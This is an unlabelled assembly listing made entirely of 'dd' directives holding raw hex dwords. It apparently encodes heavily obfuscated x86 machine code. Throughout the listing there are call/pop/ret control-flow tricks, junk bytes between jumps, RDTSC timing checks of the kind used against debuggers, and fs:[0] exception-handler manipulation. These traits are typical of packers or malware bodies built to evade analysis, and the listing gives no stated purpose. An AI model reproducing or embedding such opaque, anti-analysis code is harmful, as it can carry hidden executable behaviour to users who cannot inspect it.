dd 8B5B8DC5h, 0E020498Dh, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0F705C581h
dd 59BF37B0h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 0D404E1C3h, 95FDA398h, 60C8BCE6h, 8589C18Ah
dd 7E01E9Dh, 99BD8B61h, 6007E02Fh, 3C8B860h, 9D8B7CC7h
dd 7E01DB1h, 0AAE38061h, 0F5BD8361h, 7E012h, 3F840Fh, 10E90000h
dd 54000000h, 29002D47h, 892021FAh, 15C4DD67h, 89C2F396h
dd 0E022C19Dh, 0B807h, 89600000h, 0E031DDBDh, 2DB96607h
dd 8D8D6104h, 7E04EE8h, 0FFED69BBh, 8BE1FF68h, 0E008F19Dh
dd 0C5BD8307h, 7E022h, 475840Fh, 8D0F0000h, 6, 579B589h
dd 0BD8307E0h, 7E022C5h, 77840F01h, 6A000004h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 46D2C350h, 53917331h, 0BD838FC5h, 7E022C5h, 11860F03h
dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 606BC350h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 0EEC35545h, 0D2FD394h, 0EE8D6CCh
dd 28000000h, 2DA3C882h, 0C30CAB44h, 0EE3548DDh, 53CF8111h
dd 5F559B5Ah, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 481CC357h, 0E180F88Bh
dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 7387CBC1h, 8E0F2D2Fh, 6, 11CD9D31h
dd 0C90A07E0h, 0CD840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0EA9DDC3h, 9D8BB9A4h
dd 7E01E05h, 3399858Bh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 24C61EC3h, 872C4A86h
dd 0B9F3811Ah, 330B2468h, 0E0318985h, 0E97CB307h, 10h
dd 8A4BC507h, 55D77416h, 8A9BA460h, 2133E8C6h, 89D88B50h
dd 0B70F2404h, 66006ADBh, 81A3E781h, 6D011B68h, 0B0ECBFE2h
dd 4811BD0h, 0B202E424h, 0CD95FF1Dh, 0B707E021h, 0AD8589C7h
dd 8B07E3CBh, 0E00155BDh, 21DE907h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 8166C3C3h
dd 8BF3C8D3h, 0E3CBA585h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0D9CD1800h
dd 4A52D129h, 119D8B70h, 0C707E018h, 1800h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 0B70FA03Bh, 0A9B58BFAh, 6A07E3CBh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 666DC351h
dd 8B0B3DBFh, 0E005F985h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 8B528007h
dd 0E0346D9Dh, 6A068907h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 8B51C350h, 9531528Eh
dd 7E019BDh, 99858B5Fh, 0E807E033h, 0Fh, 0E6326175h, 49963B13h
dd 4D06CFD4h, 0F58BC56h, 0FC5BFEB7h, 6A044689h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 335CC350h, 0BD9D8BF5h, 9607E001h, 50D88B66h, 8A525050h
dd 8A310FD9h, 5B585AFCh, 0E9858996h, 0FF07E01Bh, 0E3CBA5B5h
dd 0D1B58907h, 6807E000h, 9A32891Eh, 2EF17BFh, 2404816Fh
dd 65EC7AE1h, 14C9BD8Bh, 858D07E0h, 7E3CBADh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0DDC35040h, 13FD8D89h
dd 0E85007E0h, 14h, 9AF4AA85h, 54839CE3h, 15D734FFh, 380AB2C7h
dd 6C114463h, 895BDA8Bh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 54E9D8C3h, 0EDE525Dh
dd 0E8F9B70Fh, 0Dh, 1E1F7825h, 372B4B04h, 176883D0h, 0D5B589B3h
dd 5B07E01Ch, 21CD95FFh, 6A07E0h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 0D2BB9CC3h, 617DF99Ch
dd 8F0FF88Ah, 3, 0C73BCB80h, 0E022C585h, 307h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 0D0A1282Eh, 0BC7121CDh, 0ADBD835Dh, 7E3CBh, 4E840Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 40D147C3h, 2A159D8Bh, 40E907E0h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 0FC8AC350h, 0BD8B3717h, 7E02439h, 110C3050h
dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 0E746C353h, 318531E1h, 5007E034h, 5BDFB70Fh, 22C5BD83h
dd 0F0307E0h, 4D585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 10848B37h, 0EF563E9Ch
dd 0C6BF663Ch, 83D88BB6h, 0E3CBADBDh, 840F0007h, 49Eh
dd 0FFFE8B66h, 0E3CBADB5h, 64BB5207h, 5B7402D2h, 1DA995FFh
dd 958907E0h, 7E0341Dh, 0CBA1B58Bh, 8B6607E3h, 106C7FEh
dd 6A000100h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0EAE3C356h, 37A3CA39h, 66DF8B38h
dd 0B796F98Bh, 8E850DCh, 54000000h, 250B5D6Fh, 0E8912AC9h
dd 0Bh, 57D9838Fh, 2D4DE792h, 661523FEh, 5B5BFB8Bh, 55006A96h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 0F104ECC7h, 0B83A747Bh, 8D2992E5h, 7E01D41h, 2C598D89h
dd 0B5FF07E0h, 7E3CBADh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 56C35040h, 31655092h, 0E01AC985h, 1195FF07h
dd 107E030h, 0E008A585h, 0E3816607h, 0B58BF2B5h, 7E3CBA1h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0DFC35141h
dd 0E2FD9E38h, 0CF811D66h, 2927725Fh, 0D1858BF5h, 0E907E022h
dd 8, 0B56DAB73h, 9CBF54C3h, 0C48689h, 0CE90000h, 8D000000h
dd 0FF6E19C5h, 0E7555CAEh, 8BE01506h, 0E0181595h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 8B661D0Fh, 4C283D9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 0B8C35545h, 0C9B58960h, 0F907E008h, 9E861h
dd 9D4C0000h, 0AD7B38B2h, 897277DEh, 0E03111BDh, 50895B07h
dd 55006A20h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 2850FB1h, 8B000000h, 0D4858DD9h, 0F507E3E0h
dd 0B88689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 9004DC3h, 8D0FF535h, 0
dd 1F65BD89h, 858907E0h, 7E0311Dh, 6A006Ah, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 416DBFC3h
dd 99EE8D86h, 0BCE8033h, 0E0088D9Dh, 0A1BD8B07h, 0E807E01Ah
dd 12h, 0FF240520h, 5900FD44h, 0FE899934h, 0CD317867h
dd 0FF5B7778h, 0E3CBADB5h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0EEA9FD0Fh
dd 52CFE07Dh, 8E0F1FE8h, 6, 74D9D8Bh, 95FF07E0h, 7E02A99h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 24C35242h
dd 0ED8D8993h, 9607E004h, 0BF50DE8Bh, 50D37276h, 50006A96h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 0E862B4CBh, 5B1C1C4Fh, 0ADB5FF25h, 6A07E3CBh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 98B6C357h, 0B19D8BE5h, 0FF07E023h, 0E028E995h, 0AE40BF07h
dd 0EB81105Fh, 6672D0EDh, 28E1BD83h, 0F0007E0h, 5384h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 13FDE9A3h, 3D33A4B8h, 3185893Ah, 5007E023h
dd 3820Fh, 8B660000h, 243489DFh, 0FF1BD8Bh, 11E907E0h
dd 0BE000000h, 0AC023205h, 7138684Eh, 0F34C4295h, 75735510h
dd 0CBADB5FFh, 10E907E3h, 0ED000000h, 5B3C8876h, 0F54BFE85h
dd 6C1A3CB9h, 0FF0A221Fh, 0E0303595h, 219D8907h, 6007E010h
dd 2800Fh, 59510000h, 61DDD380h, 0CBADB5FFh, 0BB6607E3h
dd 95FF1BA9h, 7E001B9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 2FC35646h, 0F9A1857h, 9D9D0126h, 0F07E01Bh
dd 680h, 0B9B52900h, 8307E020h, 0E00731BDh, 840F0207h
dd 66h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch
dd 4C35747h, 7ECC95C3h, 0BEA18EFEh, 2039858Bh, 6A07E0h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 43089CC3h, 28E59589h, 0BD8B07E0h, 7E01291h, 0F0000C6h
dd 38Ch, 0DFBF0F00h, 30559D89h, 85C707E0h, 7E0043Dh, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 51C35040h
dd 141D9115h, 8589290Eh, 7E02A9Dh, 12C19D89h, 34E907E0h
dd 6AFFFFF2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 0A0E5C351h, 56E8D37Fh, 8BF74D61h
dd 0E02E199Dh, 9C18B07h, 0E01989B5h, 0C9858D07h, 6A07E013h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 7B3AC356h, 0AE88627h, 0ED000000h, 99094C60h
dd 9C156A14h, 11BD8B4Dh, 5F07E01Dh, 0E890F88Bh, 0Dh, 36A7C4B7h
dd 606440BAh, 0BA63065Dh, 0DA8B53EBh, 66505B5Bh, 906694BBh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 8BC35242h
dd 0B39C1084h, 6A006AC0h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 6BD5C353h, 85894E76h
dd 7E01D11h, 0B70F006Ah, 2C858DFBh, 6A07E511h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 0F73BC353h, 0F4845F16h, 0B3B80FCCh, 5C0837Dh, 2199BD8Bh
dd 816607E0h, 50824BCBh, 489F88Bh, 0B70F5724h, 0BD8B5FFEh
dd 7E01D1Dh, 9529006Ah, 7E01649h, 0FCB8A60h, 6A61C1B7h
dd 4BF6600h, 4195FF86h, 0F807E034h, 80D9589h, 8D8D07E0h
dd 7E3A393h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 0EEC35141h, 0F12AA9D1h, 0C18D89A1h, 8B07E022h
dd 0E0253D9Dh, 6AD1FF07h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 0E8E2C353h, 13E9h
dd 3D816B00h, 4EC1D270h, 23A7A7EBh, 0F56BC24Ch, 5A7A41D9h
dd 16B1BD83h, 0F0107E0h, 6B85h, 0F5B58900h, 6A07E02Dh
dd 11958902h, 2307E005h, 0E020D19Dh, 53509007h, 5E9h, 0EB1A1500h
dd 5F5B28B3h, 10E850h, 77490000h, 8F2C32F7h, 0DB15E349h
dd 2B03C00Dh, 905B394Fh, 2071BD31h, 95FF07E0h, 7E02A99h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 98C35141h
dd 0A76F7E1Fh, 0AE21C0FBh, 0E7AE9h, 0E800h, 815D0000h
dd 0E51136EDh, 199D8B07h, 8D07E011h, 0E3946385h, 16890F07h
dd 0E9000000h, 11h, 1A7CA0ACh, 1F9B372Ch, 7796711Bh, 2378D93Ah
dd 159D89EFh, 5007E02Fh, 50D98B60h, 0EE952h, 0A2550000h
dd 0F7A4EC67h, 0F2DD9D39h, 0EAC50400h, 5250310Fh, 585A310Fh
dd 8961585Ah, 0D88B2404h, 35FF64h, 9000000h, 0E017F995h
dd 25896407h, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0DAC35646h
dd 21019589h, 11E907E0h, 9A000000h, 2DED109Bh, 0BCD5D89Eh
dd 6F3EC741h, 372300E7h, 20FD85FFh, 6A07E0h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 2CBF24C3h
dd 8B60862Ah, 0E008E99Dh, 1C78007h, 9D03FF6Ah, 7E01CE1h
dd 0B5FFF98Bh, 7E01261h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 5EC35141h, 9BCC203Eh, 0FFF95C52h, 0E0338995h
dd 159E907h, 11E80000h, 0BD000000h, 0E46FE55Fh, 2BCC5063h
dd 2468FAE6h, 0DB41C830h, 319D8Bh, 0B05B07E0h, 81666000h
dd 6666F7E7h, 0E661F18Bh, 0C1B58970h, 0E407E02Ch, 5D9D8B71h
dd 3C07E02Fh, 18830F61h, 0E8000001h, 12h, 96B0695h, 0AF06117Eh
dd 0F3CC9857h, 0D50490h, 0B70FECC1h, 0B60F5FDBh, 89B589C8h
dd 0BA07E019h, 6, 0E299D8Bh, 0C18B07E0h, 2AA9BD8Bh, 0E8C107E0h
dd 66F88B04h, 0BF66E2F7h, 0C82B922Eh, 30F59D33h, 0D18B07E0h
dd 0DE8h, 13DB9300h, 0DCDC9DDEh, 5F0641EDh, 8B6606B4h
dd 0B0E95BFAh, 89000000h, 0E023B195h, 50858B07h, 2947554Ch
dd 0E02B7585h, 7C08307h, 1E8D9501h, 9D8B07E0h, 7E00199h
dd 8000C083h, 0D03BCFEFh, 27830Fh, 85290000h, 7E00FF1h
dd 76E9h, 6E800h, 284C0000h, 0AC6E74DFh, 0BE9h, 23705400h
dd 0E7EF8767h, 1AD67280h, 0FF8D8B5Bh, 8BFFFFFFh, 0E00F519Dh
dd 1E18307h, 45840Fh, 9D8B0000h, 7E028E5h, 0FFFFA583h
dd 66FEFFFFh, 9589D88Bh, 47554C50h, 0AE957h, 0A5C0000h
dd 0F9B4722h, 0A78C8511h, 7E85Fh, 48490000h, 0A7348F61h
dd 6810F26h, 0F000000h, 8Ch, 0E95B00h, 8D000000h, 0E490B6B5h
dd 0ED9D8907h, 6A07E02Ah, 0DBB70F00h, 18A995FFh, 8B6607E0h
dd 0F8DB9FBh, 13E90000h, 4A000000h, 0EA3A5E44h, 6063B42Ah
dd 0F0DF04A2h, 0C21EB576h, 0E1838415h, 8F0FFCh, 0FC000000h
dd 2BF9BF0Fh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1B04h, 0C3524200h, 42D75BC6h, 3E344886h, 2BD8B70Fh
dd 55006AD2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 0AA95E9ABh, 0C78C25A4h, 0ADCBCF80h, 0E8D1C233h
dd 0E983D003h, 6AF47504h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 3234C352h, 0D1B450DBh
dd 178C0FB7h, 0E9000000h, 12h, 0C4A1D45Bh, 45A3A059h, 0C09650EDh
dd 65EC1672h, 6AA62Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 7879D1C3h, 9D8B3843h, 7E028C5h
dd 0DFAB70Fh, 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 64C35343h, 8B185C83h, 0E007BD9Dh, 0F59D0307h
dd 8B07E015h, 0E0181595h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 1455F37Fh
dd 8B477406h, 0E00855BDh, 498D8B07h, 6A07E020h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 13ADC356h, 0BF17EC28h, 7E289C22h, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 0E9BEC3C3h, 5, 0BE2F6E49h
dd 50006A56h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 7ED5C25Eh, 6E845h, 0DDE30000h, 0A9AFD8A8h
dd 6890Fh, 0EF810000h, 3D402626h, 0F5BD835Bh, 7E012h, 55840Fh
dd 0BE90000h, 59000000h, 0FF170D2h, 8723D017h, 0B8E65Bh
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 0D526C355h, 521E45FAh, 7CDACEC1h
dd 4EE88D8Dh, 8E907E0h, 34000000h, 6D1CCE2Bh, 0FFE459D0h
dd 0B5BD8BE1h, 8307E011h, 0E022C5BDh, 840F0007h, 477h
dd 0C5BD83FCh, 107E022h, 484840Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 83971FC3h
dd 0E022C5BDh, 860F0307h, 424h, 6A605F57h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8BB2C355h
dd 0E02B75BDh, 0D98C6607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 39C35545h, 27665C31h, 6F2A470Bh, 25952953h
dd 8B07E012h, 0E02B29BDh, 4E18007h, 6E8h, 0F7BFB500h, 295A966Ah
dd 0E008618Dh, 0C90A5F07h, 1AC840Fh, 14E80000h, 94000000h
dd 0E6616122h, 2B12D040h, 462BEC3Ch, 1AA9E1B8h, 0FB4DD57h
dd 1A8Ch, 14E800h, 0FF920000h, 1C3AE0E2h, 16477719h, 0F89367AFh
dd 0BEDBD0BFh, 5B5BA76Ah, 3399858Bh, 6A07E0h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 929D6CC3h
dd 86857365h, 0BD890309h, 7E02C89h, 8D8960F8h, 7E00909h
dd 5D9D8B60h, 0E807E01Ah, 0Eh, 0E21CF5E4h, 0F1E7164Fh
dd 79E1E874h, 615F8CE8h, 89853361h, 8B07E031h, 48950DEh
dd 0A5BD2924h, 6A07E014h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0D4BB666Fh
dd 4E886h, 3FF0000h, 5250001Fh, 12E9h, 61C90A00h, 0DC71413Eh
dd 9CC2CF50h, 681EDB70h, 0FDB6B28h, 5AF88B31h, 0BB605058h
dd 4CC2D9DBh, 0EE8h, 88017E00h, 0FFB19B41h, 2A4A4C8Bh
dd 0F8E3F94h, 8Ch, 8B615F00h, 0BF042444h, 3140C399h, 5050008Bh
dd 59F9BF52h, 310F747Bh, 585A54B7h, 2444895Fh, 0DE804h
dd 6DA30000h, 964442DDh, 8997E74Ch, 5BC8CA3Ch, 0CD95FF58h
dd 6A07E021h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 558DC357h, 0B8A7E6CEh, 7E9h, 0F5540100h
dd 7D3EE50Ch, 0CBAD8589h, 0EF8107E3h, 402E52D1h, 1AAD8509h
dd 0C1E907E0h, 6A000001h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 1753C352h, 57CBF1F4h
dd 858B30A4h, 7E3CBA5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 1FC35545h, 5AED1702h, 0C7D3AAh, 18h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 50C35545h
dd 5E9A11AAh, 0B6E4D4B0h, 0CABB5018h, 5B556F88h, 0E9BD3156h
dd 5F07E001h, 0CBA9B58Bh, 6A07E3h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 919CD9C3h, 6FBB3B26h
dd 8B66CC9Ah, 0F9858BF8h, 8907E005h, 119D0306h, 8B07E031h
dd 0E0339985h, 0F1BD8B07h, 8907E018h, 0BD8B0446h, 7E023F9h
dd 5EBB5096h, 962F42B2h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0FCC35040h, 6830FAAh, 89000000h, 0E0052D95h
dd 0A5B5FF07h, 6A07E3CBh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 39E5C356h, 6BD8D668h
dd 5052503Bh, 0F616052h, 4462BF31h, 585A0B92h, 0DC8A310Fh
dd 3481585Ah, 74DB2924h, 44BF663Bh, 0AD858DFCh, 6A07E3CBh
dd 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 0B64CC356h, 5B31BE10h, 0FA8B4578h, 0CE850h, 2D960000h
dd 9DC549D9h, 0B5632F1h, 0FD8AE4A4h, 2404895Fh, 2DCD9D89h
dd 9D8B07E0h, 7E00511h, 21CD95FFh, 6A07E0h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 44BC02C3h
dd 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 0DB90B05Ah, 0F2AAF37Eh, 85C7C7F7h, 7E022C5h
dd 3, 83DABF0Fh, 0E3CBADBDh, 840F0007h, 24h, 14E9h, 0DCD92600h
dd 0E4477538h, 0B45A6FFBh, 17C33E53h, 3D008124h, 21E9B9h
dd 0BD890000h, 7E01495h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 4470C355h, 0CB7CFFCCh
dd 30D942F0h, 5810F60h, 0B8000000h, 1F09AF2Eh, 618FF180h
dd 6E8h, 0F255D900h, 0F77C908h, 665BFAB7h, 83D3E9BFh, 0E022C5BDh
dd 850F0307h, 45Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 2FC35545h, 23A1BD23h, 0D78107E0h, 5E4433B8h
dd 0CBADBD83h, 0F0007E3h, 42584h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 59C912CEh
dd 89590FF3h, 316008BEh, 0E02931B5h, 1AD28107h, 61567F31h
dd 0CBADB5FFh, 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0D14238C3h, 0E5B589B5h, 0FF07E018h
dd 0E01DA995h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 5F83D559h, 86FD9ABh, 321D8D09h
dd 0B58B07E0h, 7E3CBA1h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 2CC35040h, 6C72C07h, 10001h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0CAC35242h, 34895081h
dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 63C403CBh, 0B5299870h, 7E02599h, 2FD5BD0Bh
dd 0B5FF07E0h, 7E3CBADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 0EDC35545h, 0F2560B58h, 0FF50F18Bh, 0E0301195h
dd 3AEB8007h, 0CBA1B58Bh, 6A07E3h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 76DC6FC3h, 0FD3B10F9h
dd 0E8B8943Dh, 12h, 8D73EDA6h, 9FE2CC79h, 0EB684769h, 88D5BCA9h
dd 8F0F6CD5h, 6, 211BD8Bh, 8B5F07E0h, 0E022D185h, 7E907h
dd 75950000h, 0D45BCD92h, 0C48689A1h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 74FEC356h, 15958B7Fh, 0F07E018h, 689h, 0F9BD8B00h, 0E907E012h
dd 0Ch, 0DEEF686Bh, 0E5033A81h, 61F1EA4Bh, 0E904C283h
dd 9, 0D4D7ADAAh, 0C7902C4Dh, 205089C7h, 8DFAB70Fh, 0E3E0D485h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 9D8BA743h, 7E008C9h, 2CA99529h, 868907E0h
dd 0B8h, 6ADBB70Fh, 6ACB8000h, 0CBADB5FFh, 6A07E3h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 1999E4C3h, 10840FCAh, 0E9000000h, 0Bh, 6547DCEEh, 5D102BD6h
dd 0FF524EF6h, 0E02A9995h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 4A6CB790h
dd 0EDB5894Ah, 9607E01Fh, 0DB27EDBBh, 52505045h, 4DE983BFh
dd 8B310F66h, 96585AF9h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 0C35242h, 6785FA15h, 899744C9h, 0E002099Dh
dd 8E907h, 0A6310000h, 0BE276309h, 0B5FFAB9Eh, 7E3CBADh
dd 1E4D8D31h, 95FF07E0h, 7E028E9h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 48C35141h, 8E6B8D85h, 0CE844h
dd 0DDCB0000h, 0C1F97900h, 2ADD052Bh, 9E9AFEDh, 0AD000000h
dd 0EDC5D9B1h, 0B7D6D9D0h, 0E1BD835Fh, 7E028h, 37840Fh
dd 9D890000h, 7E00149h, 4B06050h, 7CD8BA66h, 24348961h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 71C35040h
dd 527555DAh, 4EE7CD66h, 0ADB5FF31h, 6607E3CBh, 0FFB008BFh
dd 0E0303595h, 3820F07h, 0F000000h, 0B5FFF9B7h, 7E3CBADh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 3CC35141h
dd 8B391976h, 0E02B419Dh, 0B995FF07h, 6A07E001h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 461CC356h, 0B70F1FEBh, 31BD83FFh, 207E007h, 1B840Fh
dd 0BD230000h, 7E01C05h, 2039858Bh, 9D8B07E0h, 7E028F9h
dd 8B0000C6h, 0E02C9D9Dh, 3D85C707h, 7E004h, 80000000h
dd 15165F7h, 0E0088D9Dh, 95E95B07h, 0FFFFFF2h, 585h, 7F05BF00h
dd 0C18B0184h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 72C35040h, 0F2C6C4F8h, 8DFC089Bh, 0E013C985h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 9866B78Ah, 3841A775h, 8B6650E0h, 240489D8h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0DDC35040h, 0CB81FC79h
dd 59150F97h, 1BB19589h, 6A07E0h, 8B66006Ah, 0AEB81DAh
dd 8D4AC2EEh, 0E5216D85h, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 18F2C55Ch
dd 8A00B82Fh, 8870F3Dh, 0F000000h, 286h, 8B616000h, 0E006019Dh
dd 5C08307h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0FDC35141h, 1FB789D0h, 8A0F9787h, 0
dd 890F50h, 89000000h, 8BFC2404h, 0E006E19Dh, 6A006A07h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 0AD0C356h, 23FEA05Eh, 0E012B1BDh, 85BD8B07h
dd 0E907E01Ch, 0Ah, 9DB5BF83h, 7A0C94E1h, 6AE347h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 1BC35040h, 0E960F8ECh
